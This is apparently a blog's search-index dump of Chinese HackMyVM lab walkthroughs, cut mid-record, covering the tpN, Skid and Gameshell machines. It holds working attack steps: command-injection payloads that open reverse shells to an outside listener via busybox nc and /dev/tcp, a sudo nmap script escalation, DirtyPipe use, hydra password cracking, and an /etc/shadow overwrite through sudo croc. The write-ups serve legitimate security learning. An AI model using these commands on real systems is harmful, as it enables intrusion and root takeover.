uid=0(root) gid=0(root) groups=0(root) # ","date":"2026-05-11","heading":"CVE-2022-0847(DirtyPipe提权)","objectID":"/p/tpn/:6:0","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/#cve-2022-0847dirtypipe提权"},{"categories":["靶机复盘"],"collections":null,"content":"攻击链总结 端口扫描 : 发现22 / ssh、8080 / http , 指纹识别：发现GitHub上存在8080端口对应网站的源码。 代码审计： app/admin/controller/Admin.php 存在 危险函数 call_user_func，要访问到这一步需要经过check、check1中间件，check 对 url进行了黑名单处理，check1检测是否由对应的身份，如果身份检验通过，就可以访问危险函数。 漏洞利用：curl -i -c cookie.txt -b cookie.txt http://192.168.56.107:8080/index/token/token获取sb，curl -i -b cookie.txt http://192.168.56.107/think/admin/hello?a=busybox%20nc%20192.168.56.101%2039666%20-e%20/bin/bash\u0026amp;b=passthru，反向shell，并进行优化。 权限提升：查看内核版本，发现其内核版本在DirtyPipe的影响范围之内，通过DirtyPipe的payload进行提权，然后su登陆root即可提权成功。 ","date":"2026-05-11","heading":"攻击链总结","objectID":"/p/tpn/:7:0","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/#攻击链总结"},{"categories":["靶机复盘"],"collections":null,"content":"ThinkPHP 相关知识点整理","date":"2026-05-10","objectID":"/p/thinkphp-notes/","tags":["HackMyVM","Medium"],"title":"ThinkPHP 的一些知识","uri":"/p/thinkphp-notes/"},{"categories":["靶机复盘"],"collections":null,"content":"初学者的疑问： 哪个URL能访问到哪个实际函数 (ThinkPHP 如何把请求解析成 应用/控制器/方法) thinkphp 有两种入口方式 : 显示路由 通过Route::rule()、Route::get()手动写入匹配规则，thinkphp内部会按你写的规则匹配。 默认路由 没写显式路由，或当前请求的URL没有匹配上你写的显示路由规则，并且允许默认路由，框架会按照 \u0026ldquo;应用 / 控制器 / 方法\u0026rdquo; 去找函数。 引出第二个问题： 如何区分 应用 / 控制器 / 方法 /应用/控制器/方法 对应到实际的路径应该是 app/应用/controller/控制器.php 里的 方法() 例如： /index/token/token 对应: app/index/controller/Token.php 里的： public function token() 应用：能作为 app/\u0026lt;name\u0026gt;/controller/...，这样的独立业务分区存在；对应url里面的第一段。 控制器：负责接收请求并处理业务，app/index/controller/\u0026lt;name\u0026gt;；对应url里面的第二段。 方法：控制器类里的函数，真正执行业务逻辑；对应url里的第三段。 默认路由 从代码找 URL app/应用/controller/控制器.php 里的 public function 方法 ↓ 默认可能访问为 /应用/控制器/方法 从 URL 找代码 /应用/控制器/方法 ↓ app/应用/controller/控制器.php ↓ public function 方法 显示路由 Route::rule(\"sb/:a/:b\",\"Admin/hello\"); ↓ /应用/sb/1/2 # 这会映射到Admin/hello ","date":"2026-05-10","heading":"","objectID":"/p/thinkphp-notes/:0:0","tags":["HackMyVM","Medium"],"title":"ThinkPHP 的一些知识","uri":"/p/thinkphp-notes/#"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Skid 的另一种解法","date":"2026-05-06","objectID":"/p/skid-method-2/","tags":["HackMyVM","Easy"],"title":"Skid 方法2","uri":"/p/skid-method-2/"},{"categories":["靶机复盘"],"collections":null,"content":"jeremy@skid:~$ sudo -l Matching Defaults entries for jeremy on skid: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User jeremy may run the following commands on skid: (root) NOPASSWD: /usr/bin/nmap 无密码以root权限运行nmap，gtfobins 搜索发现： nmap 可以运行自定义的lua代码。 os.execute(\"/bin/bash\"); 写入/tmp/shell.nse中。 sudo nmap --srcipt=/tmp/shell.nse # 执行结果： jeremy@skid:~$ sudo nmap --script=/tmp/shell.nse Starting Nmap 7.80 ( https://nmap.org ) at 2026-05-06 02:24 UTC root@skid:/home/jeremy# id uid=0(root) gid=0(root) groups=0(root) ","date":"2026-05-06","heading":"","objectID":"/p/skid-method-2/:0:0","tags":["HackMyVM","Easy"],"title":"Skid 方法2","uri":"/p/skid-method-2/#"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Skid 的渗透测试与提权记录","date":"2026-05-06","objectID":"/p/skid/","tags":["HackMyVM","Easy"],"title":"Skid","uri":"/p/skid/"},{"categories":["靶机复盘"],"collections":null,"content":" 第三个靠自己打出来的靶机。 ","date":"2026-05-06","heading":"","objectID":"/p/skid/:0:0","tags":["HackMyVM","Easy"],"title":"Skid","uri":"/p/skid/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ","date":"2026-05-06","heading":"信息收集","objectID":"/p/skid/:1:0","tags":["HackMyVM","Easy"],"title":"Skid","uri":"/p/skid/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"端口扫描 root@kali:~# arp-scan -l Interface: eth0, type: EN10MB, MAC: 08:00:27:8a:35:d2, IPv4: 192.168.56.101 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered) 192.168.56.100 08:00:27:fc:90:00 PCS Systemtechnik GmbH 192.168.56.105 08:00:27:31:2a:f0 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.099 seconds (121.96 hosts/sec). 3 responded root@kali:~# nmap 192.168.56.105 -p- Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-05 18:25 -0400 Nmap scan report for 192.168.56.105 Host is up (0.0012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp MAC Address: 08:00:27:31:2A:F0 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 23.16 seconds root@kali:~# nmap 192.168.56.105 -p 22,5000 -sC -sV Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-05 18:26 -0400 Nmap scan report for 192.168.56.105 Host is up (0.0011s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 8e:4d:46:ba:2a:04:65:08:e2:85:09:7d:e6:1a:d7:b3 (RSA) | 256 52:f9:f6:8a:3a:21:05:84:20:01:4f:fd:bd:17:24:44 (ECDSA) |_ 256 db:87:52:e5:d3:ff:2b:92:e8:f2:91:0a:85:63:33:db (ED25519) 5000/tcp open http Werkzeug httpd 3.0.6 (Python 3.8.10) |_http-title: Jeremy's Hacker Panel |_http-server-header: Werkzeug/3.0.6 Python/3.8.10 MAC Address: 08:00:27:31:2A:F0 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.50 seconds ","date":"2026-05-06","heading":"端口扫描","objectID":"/p/skid/:1:1","tags":["HackMyVM","Easy"],"title":"Skid","uri":"/p/skid/#端口扫描"},{"categories":["靶机复盘"],"collections":null,"content":"5000端口的服务识别与分析 root@kali:/tmp/123# feroxbuster --url http://192.168.56.105:5000/ --wordlist /usr/share/wordlists/dirb/common.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \\ \\_/ | | \\ |__ | |___ | \\ | \\ | \\__, \\__/ / \\ | |__/ |___ by Ben \"epi\" Risher 🤓 ver: 2.13.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.56.105:5000/ 🚩 In-Scope Url │ 192.168.56.105 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.13.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 30l 39w 463c http://192.168.56.105:5000/scan 200 GET 35l 44w 522c http://192.168.56.105:5000/payload 200 GET 78l 158w 1245c http://192.168.56.105:5000/static/style.css 200 GET 28l 52w 541c http://192.168.56.105:5000/ [####################] - 28s 4618/4618 0s found:4 errors:0 [####################] - 28s 4614/4614 167/s http://192.168.56.105:5000/ 枚举发现： scan payload static/style.css nmap 的指纹识别：Werkzeug httpd 3.0.6 (Python 3.8.10) /scan的功能：端口扫描 /payload的功能：生成反弹shell的payload 该网站用户可以控制三个输入点：target、ip、port。 /scan路由是将namp扫描ip端口的结果发送给我们，这里经过了终端，从返回结果可以看出：nmap -T4 -oN /tmp/scan.txt 192.168.56.101，我们输入的 ip 在最后，尝试拼接命令： 1;whoami; 有回显结果，说明这里可以进行命令执行。 ","date":"2026-05-06","heading":"5000端口的服务识别与分析","objectID":"/p/skid/:1:2","tags":["HackMyVM","Easy"],"title":"Skid","uri":"/p/skid/#5000端口的服务识别与分析"},{"categories":["靶机复盘"],"collections":null,"content":"远程命令执行漏洞利用 1;bash -i \u003e\u0026 /dev/tcp/192.168.56.101/39666 0\u003e\u00261; 报错：Bad fd number 从报错内容看：使用的shell是sh，错误的文件描述符数字，报错可能是\u0026gt;\u0026amp; | 0\u0026gt;\u0026amp;1导致的。 ;busybox; 发现此系统存在busybox。 ;busybox nc 192.168.56.101 39666 -e /bin/bash; # 终端1 root@kali:/tmp/123# nc -lvnp 39666 listening on [any] 39666 ... connect to [192.168.56.101] from (UNKNOWN) [192.168.56.105] 42540 id uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy) # 攻击者终端 ","date":"2026-05-06","heading":"远程命令执行漏洞利用","objectID":"/p/skid/:2:0","tags":["HackMyVM","Easy"],"title":"Skid","uri":"/p/skid/#远程命令执行漏洞利用"},{"categories":["靶机复盘"],"collections":null,"content":"反向shell的优化 script -qc /bin/bash /dev/null jeremy@skid:~$ ^Z zsh: suspended nc -lvnp 39666 root@kali:/tmp/123# root@kali:/tmp/123# stty raw -echo;fg [1] + continued nc -lvnp 39666 reset jeremy@skid:~$ export TERM=xterm-256color jeremy@skid:~$ export SHELL=/bin/bash jeremy@skid:~$ source .bashrc ","date":"2026-05-06","heading":"反向shell的优化","objectID":"/p/skid/:3:0","tags":["HackMyVM","Easy"],"title":"Skid","uri":"/p/skid/#反向shell的优化"},{"categories":["靶机复盘"],"collections":null,"content":"系统信息枚举 jeremy@skid:~$ ls -al total 72 drwxr-xr-x 9 jeremy jeremy 4096 Nov 14 14:59 . drwxr-xr-x 3 root root 4096 Nov 13 20:45 .. drwxrwxr-x 4 jeremy jeremy 4096 Nov 14 13:22 app lrwxrwxrwx 1 root root 9 Nov 14 10:20 .bash_history -\u003e /dev/null -rw-r--r-- 1 jeremy jeremy 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 jeremy jeremy 3796 Nov 14 13:42 .bashrc drwx------ 3 jeremy jeremy 4096 Nov 14 09:09 .cache -rw-rw-r-- 1 jeremy jeremy 1056 Nov 14 14:59 changes.txt drwxrwxr-x 2 jeremy jeremy 4096 Nov 13 20:49 hacking-tools drwx------ 4 jeremy jeremy 4096 Nov 14 09:09 .local -rw-r--r-- 1 jeremy jeremy 807 Feb 25 2020 .profile -rw-rw-r-- 1 jeremy jeremy 75 Nov 14 13:25 .selected_editor drwx------ 2 jeremy jeremy 4096 Nov 13 20:45 .ssh -rw-r--r-- 1 jeremy jeremy 0 Nov 13 20:46 .sudo_as_admin_successful -rw-rw-r-- 1 jeremy jeremy 38 Nov 14 08:51 user.txt drwxr-xr-x 2 jeremy jeremy 4096 Nov 14 13:32 .vim -rw------- 1 jeremy jeremy 11223 Nov 14 14:59 .viminfo drwxrwxr-x 2 jeremy jeremy 4096 Nov 14 14:58 wordlists .sudo_as_admin_successful: 说明该用户有root用户发放的sudo特权 .viminfo: vim 工具留下的配置文件，可以查看vim操作的一些历史信息 jeremy@skid:~$ cat .viminfo # This viminfo file was generated by Vim 8.1. # You may edit it if you're careful! # Viminfo version |1,4 # Value of 'encoding' when this file was written *encoding=utf-8 # hlsearch on (H) or off (h): ~h # Last Search Pattern: ~MSle0~/tools # Last Substitute String: $ # Command Line History (newest to oldest): :wq |2,0,1763132376,,\"wq\" :w |2,0,1763126670,,\"w\" :q |2,0,1763114826,,\"q\" :0 |2,0,1763114187,,\"0\" :q! |2,0,1763112759,,\"q!\" :199 |2,0,1763111513,,\"199\" :1999 |2,0,1763067739,,\"1999\" # Search String History (newest to oldest): ? @$ |2,1,1763127148,,\"@$\" ?/tools |2,1,1763114793,47,\"tools\" ?/PATH |2,1,1763111434,47,\"PATH\" ? \\ |2,1,1763067663,,\"\\\\\" # Expression History (newest to oldest): # Input Line History (newest to oldest): # Debug Line History (newest to oldest): # Registers: \"0 CHAR 0 *** |3,0,0,0,1,0,1763127154,\"***\" \"\"1 LINE 0 export PATH=$PATH:/home/jeremy/.local/bin |3,1,1,1,1,0,1763127736,\"export PATH=$PATH:/home/jeremy/.local/bin\" \"2 LINE 0 Made it so that Nmap can run without password and always run with root Nmap is a tool that should ALWAYS be run by root - jeremy |3,0,2,1,3,0,1763126645,\"Made it so that Nmap can run without password and always run with root\",\"Nmap is a tool that should ALWAYS be run by root \",\"- jeremy\" \"3 LINE 0 My Tools |3,0,3,1,1,0,1763114821,\" My Tools\" \"4 LINE 0 # read scan output too (optional) |3,0,4,1,1,0,1763114810,\" # read scan output too (optional)\" \"5 LINE 0 # Vulnerable execution |3,0,5,1,1,0,1763114798,\" # Vulnerable execution\" \"6 LINE 0 Tools |3,0,6,1,1,0,1763114767,\" Tools\" \"7 LINE 0 |3,0,7,1,1,0,1763114716,\"\" \"8 LINE 0 return render_template(\"tools.html\", files=files, path=path) |3,0,8,1,1,0,1763114715,\" return render_template(\\\"tools.html\\\", files=files, path=path)\" \"9 LINE 0 |3,0,9,1,1,0,1763114715,\"\" \"- CHAR 0 Games |3,0,36,0,1,0,1763127484,\"Games\" # File marks: '0 28 0 ~/changes.txt |4,48,28,0,1763132376,\"~/changes.txt\" '1 9 0 /tmp/shell.nse |4,49,9,0,1763129241,\"/tmp/shell.nse\" '2 29 0 ~/.bashrc |4,50,29,0,1763127737,\"~/.bashrc\" '3 31 28 ~/changes.txt |4,51,31,28,1763127490,\"~/changes.txt\" '4 31 28 ~/changes.txt |4,52,31,28,1763127490,\"~/changes.txt\" '5 1 73 ~/wordlists/secure-passwds.txt |4,53,1,73,1763127172,\"~/wordlists/secure-passwds.txt\" '6 34 0 ~/changes.txt |4,54,34,0,1763127105,\"~/changes.txt\" '7 34 0 ~/changes.txt |4,55,34,0,1763127105,\"~/changes.txt\" '8 34 0 ~/changes.txt |4,56,34,0,1763127105,\"~/changes.txt\" '9 34 0 ~/changes.txt |4,57,34,0,1763127105,\"~/changes.txt\" # Jumplist (newest first): -' 28 0 ~/changes.txt |4,39,28,0,1763132376,\"~/changes.txt\" -' 31 0 ~/changes.txt |4,39,31,0,1763132373,\"~/changes.txt\" -' 9 0 /tmp/shell.nse |4,39,9,0,1763129241,\"/tmp/shell.nse\" -' 9 0 /tmp/shell.nse |4,39,9,0,1763129241,\"/tmp/shell.nse\" -' 1 0 /tmp/shell.nse |4,39,1,0,1763129240,\"/tmp/shell.nse\" -' 1 0 /tmp/shell.nse |4,39,1,0,1763129240,\"/tmp/shell.nse\" -'","date":"2026-05-06","heading":"系统信息枚举","objectID":"/p/skid/:4:0","tags":["HackMyVM","Easy"],"title":"Skid","uri":"/p/skid/#系统信息枚举"},{"categories":["靶机复盘"],"collections":null,"content":"root登陆 root@kali:/tmp/123# ssh root@192.168.56.105 -p 22 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to \"store now, decrypt later\" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html root@192.168.56.105's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-193-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Tue 05 May 2026 11:45:02 PM UTC System load: 0.1 Processes: 117 Usage of /: 44.8% of 11.21GB Users logged in: 0 Memory usage: 13% IPv4 address for enp0s3: 192.168.56.105 Swap usage: 0% * Ubuntu 20.04 LTS Focal Fossa has reached its end of standard support on 31 Ma For more details see: https://ubuntu.com/20-04 * Introducing Expanded Security Maintenance for Applications. Receive updates to over 25,000 software packages with your Ubuntu Pro subscription. Free for personal use. https://ubuntu.com/pro Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Fri Nov 14 15:04:38 2025 from 192.168.100.116 \u001b]104 root@skid:~# ls -al total 40 drwx------ 6 root root 4096 Nov 14 15:04 . drwxr-xr-x 19 root root 4096 Nov 13 20:44 .. lrwxrwxrwx 1 root root 9 Nov 14 10:19 .bash_history -\u003e /dev/null -rw-r--r-- 1 root root 3063 Nov 14 14:14 .bashrc drwx------ 2 root root 4096 Nov 14 14:57 .cache drwxr-xr-x 3 root root 4096 Nov 13 20:46 .local -rw-r--r-- 1 root root 276 Nov 14 14:24 .profile -rw-r--r-- 1 root root 61 Nov 14 09:00 root.txt drwx------ 3 root root 4096 Nov 13 20:45 snap drwx------ 2 root root 4096 Nov 13 20:45 .ssh -rw------- 1 root root 4031 Nov 14 15:04 .viminfo root@skid:~# cat root.txt Help I lost the root flag! Can you please help me find it? root@skid:~# find / -name root.txt /var/lib/.cache2/root.txt /root/root.txt root@skid:~# cat /var/lib/.cache2/root.txt hmv{1826b83f95bd2ffc[hidden] root@skid:~# cat /home/jeremy/user.txt hmv{7609a0e2e5bf27260[hidden] 这只是方法1，sudo 的特权提升这里并没有使用，我将放到下一个markdown文件里面。 ","date":"2026-05-06","heading":"root登陆","objectID":"/p/skid/:5:0","tags":["HackMyVM","Easy"],"title":"Skid","uri":"/p/skid/#root登陆"},{"categories":["靶机复盘"],"collections":null,"content":"攻击链总结 端口扫描：22，5000；5000 的 service 为：Werkzeug httpd 3.0.6 (Python 3.8.10)。 对 5000 进行目录枚举：/scan /payload路由，对 5000 端口的 /scan 路由进行分析，发现其存在命令执行漏洞，利用busybox的nc命令进行反向shell，并进行优化。 系统信息枚举：作者留了一个~/wordlists/secure-passwds.txt，在change.txt 中作者明确说明：这是一个密码列表，rockyou.txt中没有的，利用hydra 爆破 root密码，找到密码为sk1ddl3。 root 登陆，获取flag。 ","date":"2026-05-06","heading":"攻击链总结","objectID":"/p/skid/:6:0","tags":["HackMyVM","Easy"],"title":"Skid","uri":"/p/skid/#攻击链总结"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Gameshell 的另一种解法","date":"2026-05-02","objectID":"/p/gameshell-method-2/","tags":["HackMyVM","Easy"],"title":"Gameshell 第二种方法","uri":"/p/gameshell-method-2/"},{"categories":["靶机复盘"],"collections":null,"content":"这次主要学习两种不同的内网突破，再加1个提权手法： ","date":"2026-05-02","heading":"","objectID":"/p/gameshell-method-2/:0:0","tags":["HackMyVM","Easy"],"title":"Gameshell 第二种方法","uri":"/p/gameshell-method-2/#"},{"categories":["靶机复盘"],"collections":null,"content":"内网突破 ","date":"2026-05-02","heading":"内网突破","objectID":"/p/gameshell-method-2/:1:0","tags":["HackMyVM","Easy"],"title":"Gameshell 第二种方法","uri":"/p/gameshell-method-2/#内网突破"},{"categories":["靶机复盘"],"collections":null,"content":"noneofyour 使用的 python 的 socket 进行内网突破，其中两个核心的方法： def pipe(source, destination): while True: try: data = source.recv(4096) if not data: break destination.sendall(data) except: break source.close() destination.close() source.recv 用于接收数据，destination.sendall 用于发送数据。 这个方法的功能：通过无限循环将 source 套字节中的数据接收，并全部转发给destination 套字节，如果数据为空，或出现报错，这个循环立马退出，并关闭这两个套字节。 def start_proxy(local_port, remote_host, remote_port): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', local_port)) server.listen(10) print(f\"[*] Proxying 0.0.0.0:{local_port} -\u003e {remote_host}:{remote_port}\") while True: client_sock, addr = server.accept() remote_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote_sock.connect((remote_host, remote_port)) threading.Thread(target=pipe, args=(client_sock, remote_sock)).start() threading.Thread(target=pipe, args=(remote_sock, client_sock)).start() 疑问1：为何第一个套字节 用 bind ，而 第二个套字节 用 connect 。 server.bind(('ip', port)): 代理程序自己要监听的端口，server.bind(('0.0.0.0', local_port)) : 将代理程序挂载到本机的 8888 端口上。 server.connect(('ip', port)): 代理程序要主动连过去的目标服务，remote_sock.connect((remote_host, remote_port)): 代理主动连接 127.0.0.1：9876 目标服务。 谁负责监听，谁就 bind 谁负责主动发起连接，谁就 connect 疑问2：为何第一个套字节要用到 accept , 而第二个套字节没有用到 accept。 server 是 监听 socket, 它的职责是被动等待别人连进来。 remote_sock 是 主动连接 socket，它的职责是主动连接别人。 所以这里必须有： client_sock, addr = server.accept() 原因是： bind() 只是绑定端口 listen() 只是进入监听状态 真正“接收一个客户端连接”这一步，必须靠 accept() accept() 做了两件事： 取出一个已经到来的客户端连接 返回一个新的已连接 socket：client_sock 而后面的： remote_sock.connect((remote_host, remote_port)) 不需要 accept()，因为： 这里你是主动发起连接 connect() 成功后，remote_sock 自己就已经是“已连接状态”了。 疑问3：为和 server.accept() 和 remote_sock.connect 要放在 while True 循环内？ 代理程序要持续接收多个客户端，不是只服务一次。 已知事实 这一段放在 while True: 里，表示： 接收一个客户端：server.accept() 为这个客户端连上远端：remote_sock.connect(\u0026hellip;) 为这一对连接启动转发线程 然后回到开头继续等下一个客户端 如果不放进无限循环： 程序只会 accept() 一次 只处理一个客户端连接 那个客户端处理完后，程序后面的监听逻辑就没了 为什么线程创建也要放循环里 因为每来一个新客户端，都需要： 一个新的 client_sock 一个新的 remote_sock 一组新的转发线程 这些都是“按连接创建”的，不是程序启动时只创建一次。 可以这样理解 while True：负责不停“接客” accept()：接到一个新客户 connect()：帮这个客户连到目标服务 两个 Thread()：专门服务这个客户的数据转发 疑问4：server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 的作用? setsockopt(...)：设置 socket 选项 socket.SOL_SOCKET：表示“这一层是 socket 通用层”的选项 socket.SO_REUSEADDR：表示“允许重用本地地址” 1：开启这个选项；如果写 0 就是关闭 它的作用 主要是为了避免你程序刚退出、又立刻重启时，出现： OSError: [WinError 10048] ... 也就是“端口看起来还被占着”。 为什么会这样 TCP 连接关闭后，端口有时不会立刻完全释放，系统可能让它暂时停留在 TIME_WAIT 等状态。 这时如果你马上重新 bind() 同一个端口，可能失败。 加了 SO_REUSEADDR 之后 端口在某些“刚用过”的情况下也能更快重新绑定 对调试、反复重启代理程序很有用 完整代码： import socket import threading def pipe(source, destination): while True: try: data = source.recv(4096) if not data: break destination.sendall(data) except: break source.close() destination.close() def start_proxy(local_port, remote_host, remote_port): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', local_port)) server.listen(10) print(f\"proxy: 0.0.0.0:{local_port} -\u003e {remote_host}:{remote_port}\") while True: client_sock, port = server.accept() remote_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote_sock.connect((remote_host, remote_port)) threading.Thread(target=pipe, args=(client_sock, remote_sock)).start() threading.Thread(target=pipe, args=(remote_sock, client_sock)).start() if __name__ == '__main__': start_proxt(8888, '127.0.0.1', 9876) ","date":"2026-05-02","heading":"","objectID":"/p/gameshell-method-2/:1:1","tags":["HackMyVM","Easy"],"title":"Gameshell 第二种方法","uri":"/p/gameshell-method-2/#noneofyour"},{"categories":["靶机复盘"],"collections":null,"content":"Echo 通过ssh命令进行端口转发： -N 不执行远程 shell / 命令 只建立隧道 -R Remote Forwarding 在远程 SSH 服务器一侧 开监听端口 格式： -R [远程监听地址]:[远程监听端口]:[本地目标地址]:[本地目标端口] 坑：SSH 服务默认行为：sshd 默认通常只允许远程转发绑定到 loopback。也就是 GatewayPorts 没开，或者不是 clientspecified/yes。 我们要先在/etc/sshd_config更改 GatewayPorts选项： GatewayPorts yes 或 GatewayPorts clientspecified 两者的区别： yes 远程转发端口会绑定到通配地址，通常相当于对外开放 clientspecified 允许你在 -R 里自己指定绑定地址 你写 0.0.0.0:39666:... 才会真正按 0.0.0.0 绑定 更推荐 GatewayPorts clientspecified 因为它更符合你现在这条命令的写法。 改完后还要做的事 重启 sshd 重新建立这条 ssh -R \u0026hellip; 隧道 再检查 39666 是否监听在 0.0.0.0 完整的命令： silo@GameShell:~$ ssh -N -R 0.0.0.0:39666:127.0.0.1:9876 root@192.168.56.101 root@192.168.56.101's password: # 终端1 root@kali:/etc/ssh# ss -tupln | grep 39666 tcp LISTEN 0 128 0.0.0.0:39666 0.0.0.0:* users:((\"sshd-session\",pid=13376,fd=10)) # 终端2 ","date":"2026-05-02","heading":"","objectID":"/p/gameshell-method-2/:1:2","tags":["HackMyVM","Easy"],"title":"Gameshell 第二种方法","uri":"/p/gameshell-method-2/#echo"},{"categories":["靶机复盘"],"collections":null,"content":"提权手法 切换croc模式为经典模式以简化传输过程： eviden@GameShell:/$ sudo croc --classic Classic mode is currently DISABLED. Please note that enabling this mode will make the shared secret visible on the host's process list when passed via the command line. On a multi-user system, this could allow other local users to access the shared secret and receive the files instead of the intended recipient. Do you wish to continue to enable the classic mode? (y/N) y Classic mode ENABLED. To send and receive, use the code phrase: Send: croc send --code *** file.txt Receive: croc *** 设置一个中转端口： eviden@GameShell:/$ croc relay --port 9999 \u0026 [1] 467 [info] 2026/05/02 05:30:26 starting croc relay version v10.2.7 [info] 2026/05/02 05:30:26 starting TCP server on :9999 [info] 2026/05/02 05:30:26 starting TCP server on :10000 [info] 2026/05/02 05:30:26 starting TCP server on :10001 [info] 2026/05/02 05:30:26 starting TCP server on :10002 [info] 2026/05/02 05:30:26 starting TCP server on :10003 下载shadow： eviden@GameShell:~$ sudo croc --relay \"127.0.0.1:9999\" send /etc/shadow Sending 'shadow' (874 B) Code is: 5701-salsa-kimono-happy On the other computer run: (For Windows) croc --relay 127.0.0.1:9999 5701-salsa-kimono-happy (For Linux/macOS) CROC_SECRET=\"5701-salsa-kimono-happy\" croc --relay 127.0.0.1:9999 eviden@GameShell:~$ croc --relay \"127.0.0.1:9999\" 5701-salsa-kimono-happy Accept 'shadow' (874 B)? (Y/n) y Receiving (\u003c-127.0.0.1:42690) shadow 100% |████████████████████| (874/874 B, 86 kB/s) eviden@GameShell:~$ openssl passwd \"123456\" PpV/ZwGClqM6w 修改为： eviden@GameShell:~$ cat shadow root:PpV/ZwGClqM6w:20409:0:99999:7::: daemon:*:20166:0:99999:7::: bin:*:20166:0:99999:7::: sys:*:20166:0:99999:7::: sync:*:20166:0:99999:7::: games:*:20166:0:99999:7::: man:*:20166:0:99999:7::: lp:*:20166:0:99999:7::: mail:*:20166:0:99999:7::: news:*:20166:0:99999:7::: uucp:*:20166:0:99999:7::: proxy:*:20166:0:99999:7::: www-data:*:20166:0:99999:7::: backup:*:20166:0:99999:7::: list:*:20166:0:99999:7::: irc:*:20166:0:99999:7::: gnats:*:20166:0:99999:7::: nobody:*:20166:0:99999:7::: _apt:*:20166:0:99999:7::: systemd-timesync:*:20166:0:99999:7::: systemd-network:*:20166:0:99999:7::: systemd-resolve:*:20166:0:99999:7::: systemd-coredump:!!:20166:::::: messagebus:*:20166:0:99999:7::: sshd:*:20166:0:99999:7::: silo:$6$X1SpLnuy/i1LvtTB$yJO4OtX/i7Ma5Uvv0L8AmUnuoHb53jQ/AJl0DMZf/evSEbNRLHXm9YpECG2TzOixcOlDpVhqyL.ENUSEdQcEd/:20409:0:99999:7::: eviden:!:20409:0:99999:7::: 覆盖/etc/shadow: eviden@GameShell:~$ croc --relay 127.0.0.1:9999 send ./shadow Sending 'shadow' (874 B) Code is: 1655-candid-archer-carbon On the other computer run: (For Windows) croc --relay 127.0.0.1:9999 1655-candid-archer-carbon (For Linux/macOS) CROC_SECRET=\"1655-candid-archer-carbon\" croc --relay 127.0.0.1:9999 eviden@GameShell:~$ sudo croc --relay 127.0.0.1:9999 --overwrite --out /etc Enter receive code: 1655-candid-archer-carbon Accept 'shadow' (874 B)? (Y/n) y Receiving (\u003c-127.0.0.1:42030) shadow 100% |████████████████████| (874/874 B, 42 kB/s) ","date":"2026-05-02","heading":"提权手法","objectID":"/p/gameshell-method-2/:2:0","tags":["HackMyVM","Easy"],"title":"Gameshell 第二种方法","uri":"/p/gameshell-method-2/#提权手法"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 Gameshell 的渗透测试与提权记录","date":"2026-04-29","objectID":"/p/gameshell/","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/"},{"categories":["靶机复盘"],"collections":null,"content":" 这是第二个只靠自己打出来的靶机，作为里程碑。 ","date":"2026-04-29","heading":"","objectID":"/p/gameshell/:0:0","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ","date":"2026-04-29","heading":"信息收集","objectID":"/p/gameshell/:1:0","tags":["HackMyVM","Easy"],"title":"Gameshell","uri":"/p/gameshell/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"端口扫描 root@kali:/tmp/123# nmap 192.168.56.156 -p- Starting Nmap 7.98 ( 